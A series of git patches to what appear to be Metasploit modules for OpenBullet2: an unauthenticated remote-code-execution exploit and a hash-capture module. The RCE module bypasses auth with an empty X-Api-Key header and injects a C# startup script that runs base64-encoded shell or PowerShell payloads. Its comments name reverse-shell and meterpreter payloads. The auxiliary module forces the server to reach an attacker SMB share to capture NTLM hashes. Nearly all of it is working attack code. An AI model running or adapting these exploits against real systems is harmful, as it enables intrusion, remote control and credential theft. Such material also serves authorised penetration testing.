vognik Date: Sun, 30 Aug 2026 10:02:52 -0700 Subject: [PATCH 06/10] add suggestions from @msutovsky-r7 to openbullet2_unauth_rce_cve_2026_25856.rb --- .../openbullet2_unauth_rce_cve_2026_25856.rb | 145 +++++++++--------- 1 file changed, 75 insertions(+), 70 deletions(-) diff --git a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb index eeac5739bba74..113e1997d3cde 100644 --- a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb +++ b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb @@ -53,11 +53,8 @@ def initialize(info = {}) } ], ], - 'Payload' => { - 'BadChars' => '\\' - }, 'DefaultTarget' => 0, - 'DisclosureDate' => '2022-11-02', + 'DisclosureDate' => '2026-08-06', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], @@ -79,23 +76,25 @@ def check 'method' => 'GET', 'headers' => { 'X-Api-Key' => '' } ) + return CheckCode::Unknown("#{peer} - Server did not respond with the expected HTTP 200") unless res&.code == 200 - json_body = res.get_json_document - unless json_body - return CheckCode::Unknown("#{peer} - Unable to parse JSON response.") - end + json_body = res&.get_json_document + return CheckCode::Unknown("#{peer} - Unable to parse JSON response") unless json_body + return CheckCode::Unknown("#{peer} - 'currentVersion' key not found in response") unless json_body.key?('currentVersion') - unless json_body.key?('currentVersion') - return CheckCode::Unknown("#{peer} - 'currentVersion' key not found in response.") + version = Rex::Version.new(json_body['currentVersion']) + if version < Rex::Version.new('0.2.5') + return CheckCode::Safe("Detected version #{version}, which is not vulnerable") end - version = Rex::Version.new(json_body['currentVersion']) - if version >= Rex::Version.new('0.2.5') - @target_os = get_server_info - return CheckCode::Appears("Detected version #{version} (#{@target_os}), which is vulnerable") + @target_os = get_server_info + if target['Type'] == :unix && @target_os.to_s.downcase.include?('windows') + return CheckCode::Appears("Detected vulnerable version #{version} (#{@target_os}), but target is Unix/Linux while the server is running Windows") + elsif target['Type'] == :windows && !@target_os.to_s.downcase.include?('windows') + return CheckCode::Appears("Detected vulnerable version #{version} (#{@target_os}), but target is Windows while the server is running Unix/Linux") end - CheckCode::Safe("Detected version #{version}, which is not vulnerable") + CheckCode::Appears("Detected vulnerable version #{version} (#{@target_os})") end def create_config @@ -104,32 +103,39 @@ def create_config 'method' => 'POST', 'headers' => { 'X-Api-Key' => '' } ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") - end - - json_body = res.get_json_document - unless json_body - fail_with(Failure::UnexpectedReply, 'Unable to parse the response') - end - - unless json_body.key?('id') - fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") - end + json_body = res&.get_json_document + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") unless json_body.key?('id') json_body['id'] end def update_config(config_id) - flags = '{ UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardError = true }' case target['Type'] when :unix - cmd = "System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(\"/bin/bash\", \"-c \\\"#{payload.encoded}\\\"\")#{flags});" + encoded_cmd = Rex::Text.encode_base64(payload.encoded) + program = '/bin/sh' + args = "-c \\\"echo #{encoded_cmd} | base64 -d | sh\\\"" when :windows - cmd = "System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(\"cmd.exe\", @\"/c \"\"#{payload.encoded}\"\"\")#{flags});" + utf16_payload = payload.encoded.encode('UTF-16LE') + encoded_cmd = Rex::Text.encode_base64(utf16_payload) + program = 'powershell.exe' + args = "-NoProfile -ExecutionPolicy Bypass -EncodedCommand #{encoded_cmd}" end + # Remove newlines and surrounding indentation to keep payload on a single line + cmd = <<~CCODE.gsub(/\s*\n\s*/, '') + var psi=new System.Diagnostics.ProcessStartInfo("#{program}","#{args}"){ + UseShellExecute=false, + CreateNoWindow=true, + RedirectStandardOutput=true, + RedirectStandardError=true + }; + System.Diagnostics.Process.Start(psi); + CCODE + res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), 'method' => 'PUT', @@ -142,10 +148,7 @@ def update_config(config_id) 'startupLoliCodeScript' => cmd }.to_json ) - - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") - end + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 end def create_job(config_id) @@ -169,19 +172,11 @@ def create_job(config_id) } }.to_json ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") - end - - json_body = res.get_json_document - unless json_body - fail_with(Failure::UnexpectedReply, 'Unable to parse the response') - end - - unless json_body.key?('id') - fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") - end + json_body = res&.get_json_document + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") unless json_body.key?('id') json_body['id'] end @@ -194,10 +189,7 @@ def start_job(job_id) 'ctype' => 'application/json', 'data' => { 'jobId' => job_id, 'wait' => false }.to_json ) - - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") - end + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 end def delete_job(job_id) @@ -209,9 +201,7 @@ def delete_job(job_id) 'vars_get' => { id: job_id } ) - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") - end + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 end def delete_config(config_id) @@ -222,10 +212,7 @@ def delete_config(config_id) 'ctype' => 'application/json', 'vars_get' => { id: config_id } ) - - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") - end + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 end def get_server_info @@ -236,29 +223,47 @@ def get_server_info 'ctype' => 'application/json' ) - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") - end - - json_body = res.get_json_document - unless json_body - fail_with(Failure::UnexpectedReply, 'Unable to parse the response') - end + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 - unless json_body.key?('operatingSystem') - fail_with(Failure::UnexpectedReply, "#{peer} - operatingSystem key not found in response") - end + json_body = res&.get_json_document + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body + fail_with(Failure::UnexpectedReply, "#{peer} - operatingSystem key not found in response") unless json_body.key?('operatingSystem') json_body['operatingSystem'] end def cleanup super - delete_job(@job_id) if !@job_id.nil? - delete_config(@config_id) if !@config_id.nil? + if @job_id + begin + delete_job(@job_id) + rescue StandardError => e + print_error("Failed to delete job: #{e.message}") + end + end + + if @config_id + begin + delete_config(@config_id) + rescue StandardError => e + print_error("Failed to delete config: #{e.message}") + end + end + end + + def validate_target_os! + target_os = @target_os || get_server_info + + if target['Type'] == :unix && target_os.to_s.downcase.include?('windows') + fail_with(Failure::NoTarget, 'Selected target is Unix/Linux, but the remote server is running Windows. Please change the target') + elsif target['Type'] == :windows && !target_os.to_s.downcase.include?('windows') + fail_with(Failure::NoTarget, 'Selected target is Windows, but the remote server is running Unix/Linux. Please change the target') + end end def exploit + validate_target_os! + @config_id = create_config update_config(@config_id) @job_id = create_job(@config_id) From 0f95d40b4624df4412220c68ac541e9dda80a074 Mon Sep 17 00:00:00 2001 From: vognik Date: Sun, 30 Aug 2026 10:31:16 -0700 Subject: [PATCH 07/10] add suggestions from @msutovsky-r7 to openbullet2_unauth_hash_disclosure_cve_2026_39908.rb --- ...2_unauth_hash_disclosure_cve_2026_39908.md | 2 +- ...2_unauth_hash_disclosure_cve_2026_39908.rb | 130 ++++++------------ .../openbullet2_unauth_rce_cve_2026_25856.rb | 2 +- 3 files changed, 47 insertions(+), 87 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.md b/documentation/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.md index 3e476a223e8ba..3314a4d3526a7 100644 --- a/documentation/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.md +++ b/documentation/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.md @@ -21,7 +21,7 @@ The affected versions include releases from 0.2.5. Authentication is turned off by default. You need to set it to check bypass. -1. Go to http://127.0.0.1:8069/settings +1. Go to http://127.0.0.1:5000/settings 2. Click "Change admin password" and set any password 3. Turn "Require admin login" on 4. Save diff --git a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb index dae213d41f9a1..6d55f997c8ecb 100644 --- a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb +++ b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb @@ -4,6 +4,8 @@ ## class MetasploitModule < Msf::Auxiliary + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::SMB::Server::Share @@ -32,7 +34,7 @@ def initialize(info = {}) ['CVE', '2026-39908'], ['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2'] ], - 'DisclosureDate' => '2026-06-04', + 'DisclosureDate' => '2026-06-08', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], @@ -54,29 +56,20 @@ def check 'method' => 'GET', 'headers' => { 'X-Api-Key' => '' } ) + return Exploit::CheckCode::Unknown("#{peer} - Server did not respond with the expected HTTP 200") unless res&.code == 200 - Exploit::CheckCode::Safe('The server returned 401 status code, the version is not vulnerable') - - json_body = res.get_json_document - unless json_body - fail_with(Failure::UnexpectedReply, 'Unable to parse the response') - end - - unless json_body.key?('currentVersion') - fail_with(Failure::UnexpectedReply, "#{peer} - currentVersion key not found in response") - end + json_body = res&.get_json_document + return Exploit::CheckCode::Unknown("#{peer} - Unable to parse JSON response") unless json_body + return Exploit::CheckCode::Unknown("#{peer} - \"currentVersion\" key not found in response") unless json_body.key?('currentVersion') version = Rex::Version.new(json_body['currentVersion']) - if version >= Rex::Version.new('0.2.5') - server_info = get_server_info - target_os = server_info['operatingSystem'] - print_status("OpenBullet2 Instance OS: #{target_os}") + return Exploit::CheckCode::Safe("Detected version #{version}, which is not vulnerable") if version < Rex::Version.new('0.2.5') - Exploit::CheckCode::Detected("Detected version #{version}, which is vulnerable. But you can't use module, because it only for windows.") if target_os !~ /windows/i - return Exploit::CheckCode::Appears("Detected version #{version}, which is vulnerable") - end + @target_os = get_server_info + print_status("OpenBullet2 Instance OS: #{@target_os}") + return Exploit::CheckCode::Safe("Detected vulnerable version #{version}, but the target OS is #{@target_os} (Windows-only module)") unless @target_os.to_s.downcase.include?('windows') - Exploit::CheckCode::Safe("Detected version #{version}, which is not vulnerable") + Exploit::CheckCode::Appears("Detected vulnerable version #{version} (#{@target_os})") end def create_config @@ -85,19 +78,11 @@ def create_config 'method' => 'POST', 'headers' => { 'X-Api-Key' => '' } ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") - end - - json_body = res.get_json_document - unless json_body - fail_with(Failure::UnexpectedReply, 'Unable to parse the response') - end - - unless json_body.key?('id') - fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") - end + json_body = res&.get_json_document + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") unless json_body.key?('id') json_body['id'] end @@ -108,11 +93,10 @@ def get_configs 'method' => 'GET', 'headers' => { 'X-Api-Key' => '' } ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 - json_body = res.get_json_document - unless json_body - fail_with(Failure::UnexpectedReply, 'Unable to parse the response') - end + json_body = res&.get_json_document + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body json_body end @@ -145,19 +129,11 @@ def create_job(config_id, proxy_path) ] }.to_json ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") - end - - json_body = res.get_json_document - unless json_body - fail_with(Failure::UnexpectedReply, 'Unable to parse the response') - end - - unless json_body.key?('id') - fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") - end + json_body = res&.get_json_document + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") unless json_body.key?('id') json_body['id'] end @@ -170,10 +146,7 @@ def start_job(job_id) 'ctype' => 'application/json', 'data' => { 'jobId' => job_id, 'wait' => false }.to_json ) - - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") - end + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 end def abort_job(job_id) @@ -184,10 +157,7 @@ def abort_job(job_id) 'ctype' => 'application/json', 'data' => { 'jobId' => job_id, 'wait' => false }.to_json ) - - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") - end + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 end def delete_job(job_id) @@ -198,10 +168,7 @@ def delete_job(job_id) 'ctype' => 'application/json', 'vars_get' => { id: job_id } ) - - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") - end + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 end def delete_config(config_id) @@ -212,10 +179,7 @@ def delete_config(config_id) 'ctype' => 'application/json', 'vars_get' => { id: config_id } ) - - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") - end + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 end def get_server_info @@ -225,42 +189,38 @@ def get_server_info 'headers' => { 'X-Api-Key' => '' }, 'ctype' => 'application/json' ) + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") - end + json_body = res&.get_json_document + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body + fail_with(Failure::UnexpectedReply, "#{peer} - operatingSystem key not found in response") unless json_body.key?('operatingSystem') - json_body = res.get_json_document - unless json_body - fail_with(Failure::UnexpectedReply, 'Unable to parse the response') - end - - unless json_body.key?('operatingSystem') - fail_with(Failure::UnexpectedReply, "#{peer} - operatingSystem key not found in response") - end - - json_body + json_body['operatingSystem'] end def cleanup super delete_config(@config_id) if @config_source == :created - abort_job(@job_id) - delete_job(@job_id) if !@job_id.nil? + abort_job(@job_id) if @job_id + delete_job(@job_id) if @job_id + end + + def validate_target_os! + target_os = @target_os || get_server_info + unless target_os.to_s.downcase.include?('windows') + fail_with(Failure::NoTarget, "This module only supports Windows targets, but the remote server is running #{target_os}.") + end end def run + validate_target_os! + configs = get_configs - @config_id, @config_source = - if configs.empty? - [create_config, :created] - else - [configs.sample['id'], :default] - end + @config_id, @config_source = configs.empty? ? [create_config, :created] : [configs.sample['id'], :default] unc_share = Faker::Lorem.word unc_fname = Faker::Lorem.word - unc_path = "\\\\#{srvhost}\\\\#{unc_share}\\\\#{unc_fname}.txt" + unc_path = "\\\\#{srvhost}\\#{unc_share}\\#{unc_fname}.txt" @job_id = create_job(@config_id, unc_path) start_smb_capture_server diff --git a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb index 113e1997d3cde..2f3336383e8fb 100644 --- a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb +++ b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb @@ -54,7 +54,7 @@ def initialize(info = {}) ], ], 'DefaultTarget' => 0, - 'DisclosureDate' => '2026-08-06', + 'DisclosureDate' => '2026-06-08', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], From 3cb1849bd516c75ff86c9c60a6246b1f3b0b8f18 Mon Sep 17 00:00:00 2001 From: vognik Date: Sun, 30 Aug 2026 11:39:02 -0700 Subject: [PATCH 08/10] add base64 encoding to payload --- .../openbullet2_unauth_rce_cve_2026_25856.rb | 36 +++++++++---------- 1 file changed, 16 insertions(+), 20 deletions(-) diff --git a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb index 2f3336383e8fb..0c4fa8cc90bdb 100644 --- a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb +++ b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb @@ -113,25 +113,18 @@ def create_config end def update_config(config_id) - case target['Type'] - when :unix - encoded_cmd = Rex::Text.encode_base64(payload.encoded) - program = '/bin/sh' - args = "-c \\\"echo #{encoded_cmd} | base64 -d | sh\\\"" - when :windows - utf16_payload = payload.encoded.encode('UTF-16LE') - encoded_cmd = Rex::Text.encode_base64(utf16_payload) - program = 'powershell.exe' - args = "-NoProfile -ExecutionPolicy Bypass -EncodedCommand #{encoded_cmd}" - end - - # Remove newlines and surrounding indentation to keep payload on a single line - cmd = <<~CCODE.gsub(/\s*\n\s*/, '') - var psi=new System.Diagnostics.ProcessStartInfo("#{program}","#{args}"){ - UseShellExecute=false, - CreateNoWindow=true, - RedirectStandardOutput=true, - RedirectStandardError=true + prog, args, raw_cmd = case target['Type'] + when :unix + ['/bin/sh', '-c', "echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sh"] + when :windows + ['cmd.exe', '/c', "cmd.exe /c \"#{payload.encoded}\""] + end + + full_cmd_encoded = Rex::Text.encode_base64(raw_cmd) + cmd = <<~CCODE.gsub(/\s*\n\s*/, ' ') + string c = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("#{full_cmd_encoded}")); + var psi = new System.Diagnostics.ProcessStartInfo("#{prog}", "#{args} " + c) { + UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardError = true }; System.Diagnostics.Process.Start(psi); CCODE @@ -148,7 +141,10 @@ def update_config(config_id) 'startupLoliCodeScript' => cmd }.to_json ) - fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end end def create_job(config_id) From 5157f957d3269ed8db32c51aa12775220d5595e1 Mon Sep 17 00:00:00 2001 From: vognik Date: Sun, 30 Aug 2026 11:49:32 -0700 Subject: [PATCH 09/10] remove hardcoded payload --- .../openbullet2_unauth_hash_disclosure_cve_2026_39908.rb | 2 -- .../multi/http/openbullet2_unauth_rce_cve_2026_25856.rb | 8 +++----- 2 files changed, 3 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb index 6d55f997c8ecb..be2e9dc3697da 100644 --- a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb +++ b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb @@ -4,8 +4,6 @@ ## class MetasploitModule < Msf::Auxiliary - Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::SMB::Server::Share diff --git a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb index 0c4fa8cc90bdb..ae65513eb17d7 100644 --- a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb +++ b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb @@ -30,14 +30,13 @@ def initialize(info = {}) ['CVE', '2026-25856'], ['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2'] ], + 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'OpenBullet2 >= 0.2.5 / Unix Command', { 'Platform' => ['unix', 'linux'], - 'Type' => :unix, - 'Arch' => [ARCH_CMD], - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' } + 'Type' => :unix # Tested with cmd/unix/reverse_bash # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp } @@ -47,8 +46,7 @@ def initialize(info = {}) { 'Platform' => ['windows'], 'Type' => :windows, - 'Arch' => [ARCH_CMD], - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' } + 'Arch' => [ARCH_CMD] # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ], From 4b64ad7a83b61e0fc19918dba376f117a1470c80 Mon Sep 17 00:00:00 2001 From: vognik Date: Sun, 30 Aug 2026 12:07:10 -0700 Subject: [PATCH 10/10] remove reliability section from auxiliary module --- .../http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb index be2e9dc3697da..00e2546d32fa6 100644 --- a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb +++ b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb @@ -5,7 +5,6 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::SMB::Server::Share include Msf::Exploit::Remote::SMB::Server::HashCapture prepend Msf::Exploit::Remote::AutoCheck @@ -36,7 +35,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], - 'Reliability' => [REPEATABLE_SESSION] + 'Reliability' => [] } ) )